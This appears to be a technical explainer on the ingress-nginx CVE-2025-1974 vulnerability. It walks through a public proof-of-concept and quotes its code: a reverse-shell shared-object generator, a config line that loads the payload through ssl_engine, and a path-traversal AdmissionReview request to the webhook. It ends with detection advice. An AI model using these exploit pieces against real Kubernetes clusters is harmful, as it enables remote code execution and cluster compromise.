# How the ssl_engine Directive Enables Remote Code Execution in Ingress-NGINX

> Learn how the ssl_engine directive in ingress-nginx enables remote code execution by loading malicious .so libraries. Understand CVE-2025-1974 and exploit details.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: deep-dive
- Published: 2026-03-01

---

**The ssl_engine directive is an NGINX configuration option that loads dynamic SSL engine shared objects, and in vulnerable ingress-nginx versions, attackers can abuse this feature to execute arbitrary native code by supplying a path to a malicious `.so` library.**

The **ssl_engine directive in ingress-nginx RCE** attacks serves as the critical pivot point for CVE-2025-1974, also known as the "ingress-nightmare" vulnerability. This configuration directive, intended for loading custom TLS/SSL cryptographic engines, becomes an attack vector when attackers can inject arbitrary file paths into the NGINX configuration processed by the ingress-nginx controller. In the `esonhugh/ingressnightmare-cve-2025-1974-exps` repository, security researchers demonstrate how unvalidated input to this directive allows attackers to bypass container isolation and achieve native code execution inside the ingress-nginx controller pod.

## What Is the ssl_engine Directive?

In standard NGINX deployments, the `ssl_engine` directive specifies the name or path of a **dynamic SSL engine**—a shared object (`.so`) file that implements custom cryptographic operations for TLS handshakes. When NGINX parses a configuration containing this directive, it attempts to load the specified library into the master process memory space using dynamic linking mechanisms.

According to the ingress-nightmare source code, the vulnerability exists because vulnerable versions of ingress-nginx accept the `ssl_engine` path verbatim without validation, sanitization, or sandboxing. When the controller validates an incoming Ingress resource or AdmissionReview request, it parses the supplied NGINX template including any injected `ssl_engine` lines, immediately triggering the library load.

## The Exploit Mechanism

The proof-of-concept leverages the `ssl_engine` directive through a multi-stage attack chain that moves from configuration injection to arbitrary code execution.

### Malicious Payload Generation

The attack begins with crafting a malicious shared object that executes attacker-controlled code when loaded. In [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go), the `NewReverseShellPayload` function generates the ELF binary that serves as the SSL engine:

```go
func NewReverseShellPayload(tip string, port string) Payload {
    // Transform the IP address into zero-padded octets
    // … (omitted for brevity) …
    payload := bytesReplace(evilLibrary,
        []byte("127.000.000.001"), []byte(strings.Join(ip, ".")), 1)
    // Zero-pad the port and replace the placeholder
    // …
    payload = bytesReplace(payload, []byte("13337"), []byte(port), 1)
    // Switch mode flag to reverse-shell
    payload = bytesReplace(payload, []byte(MODE_CHECK_FLAG), []byte(MODE_REVERSE_SH), 1)
    return payload
}

```

This code transforms a template library (embedded via `go:embed`) into a functional reverse shell by replacing placeholder IP addresses and ports with attacker-specified values. The resulting binary is written to disk as `danger.so` and subsequently uploaded to the target pod.

### Configuration Injection via bad_config.conf

The repository includes a deliberately malformed NGINX configuration in [`nginx-ingress/bad_config.conf`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/bad_config.conf) that contains the vulnerable directive:

```nginx
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
}
ssl_engine /root/so/danger.so;   # <-- loads attacker-controlled library

```

When ingress-nginx validates this configuration, it processes the `ssl_engine` directive and attempts to load `/root/so/danger.so` as a cryptographic engine. Because the path is accepted without validation, the attacker-controlled shared object executes within the NGINX master process context, bypassing higher-level Kubernetes RBAC restrictions.

### Triggering the Vulnerability in exploit.go

The `ValidateWebhookSpecificFilePath` function in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) delivers the payload by exploiting path traversal in the validation webhook:

```go
evilUrl := fmt.Sprintf("../../../../..%v", path) // path points to danger.so
fullPayload := strings.Replace(validateJson, "foobar", evilUrl, 1)

err := gout.NewWithOpt(gout.WithInsecureSkipVerify(),
        gout.WithTimeout(100*time.Second)).
    POST(URL).Debug(Verbose).
    SetBody(fullPayload).
    BindJSON(&resp).Do()

```

This code constructs a crafted **AdmissionReview** request containing a JSON payload where the placeholder `foobar` is replaced with a path traversal sequence (`../../../../..%2Froot%2Fso%2Fdanger.so`). When the ingress-nginx webhook validates this request, it resolves the traversal to the location of the uploaded malicious library, parses the configuration containing the `ssl_engine` directive, and triggers the load.

### Continuous Delivery with BadUploader

To ensure the malicious library remains available during the exploitation window, the `BadUploader` routine in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) continuously pushes the shared object to the target:

```go
_, _ = conn.Write(buffer)          // HTTP header
_, _ = conn.Write(payload)          // .so payload (≥8 KB padded)

```

This maintains the attack surface while the exploit scans for valid file descriptor and PID pairs, ensuring the `ssl_engine` load succeeds when the configuration is parsed.

## Why ssl_engine Enables RCE

Unlike higher-level Ingress resource fields that undergo strict validation, the `ssl_engine` directive interacts directly with the underlying operating system's dynamic linker. When NGINX encounters this directive, it calls system library loading functions (such as `dlopen` on Linux) with the attacker-supplied path, executing the library's constructor functions immediately.

This behavior allows attackers to:

- **Bypass language-level sandboxes** by executing native machine code directly in the NGINX process
- **Evade detection** through legitimate NGINX configuration syntax that appears valid to superficial inspection
- **Maintain persistence** by embedding payloads in shared objects that execute every time NGINX reloads the configuration

## Summary

- The **ssl_engine directive** in ingress-nginx loads dynamic SSL engine shared objects without validating the supplied file path.
- Attackers exploit this behavior by injecting malicious `.so` libraries through the validation webhook using path traversal sequences.
- The [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go) file generates the reverse-shell ELF binary, while [`bad_config.conf`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/bad_config.conf) provides the configuration template containing the exploit directive.
- The `ValidateWebhookSpecificFilePath` function in [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go) triggers the vulnerability by submitting crafted AdmissionReview requests.
- Successful exploitation results in arbitrary code execution within the ingress-nginx controller container, effectively compromising the entire cluster's Ingress layer.

## Frequently Asked Questions

### How does the ssl_engine directive differ from other NGINX directives?

The `ssl_engine` directive specifically instructs NGINX to load external cryptographic engines via dynamic linking, whereas most configuration directives only affect internal NGINX behavior. This distinction makes `ssl_engine` dangerous because it interacts with the operating system's shared library loader, executing code outside the NGINX process's normal control flow.

### Can the ssl_engine attack work without file upload capabilities?

No, the attack requires the attacker to place a malicious `.so` file at a predictable path within the container filesystem. The ingress-nightmare PoC uses the `BadUploader` component to deliver the payload via HTTP/HTTPS, but alternative methods such as exploiting other side-channel file writes or manipulating persistent volumes could achieve the same result if the path is known.

### What versions of ingress-nginx are vulnerable to this ssl_engine exploit?

The vulnerabilities tracked as CVE-2025-1974 affect specific versions of ingress-nginx where the validation webhook accepts arbitrary NGINX configuration snippets without sanitizing the `ssl_engine` directive. Administrators should consult the official ingress-nginx security advisories and upgrade to patched versions that validate or reject this directive in AdmissionReview contexts.

### How can defenders detect exploitation attempts targeting ssl_engine?

Security teams should monitor AdmissionReview requests to the ingress-nginx webhook for anomalous patterns including path traversal sequences (`../`) in configuration fields, unexpected references to shared object files (`.so`), or unusual file system activity within controller pods involving the loading of non-standard libraries into the NGINX process.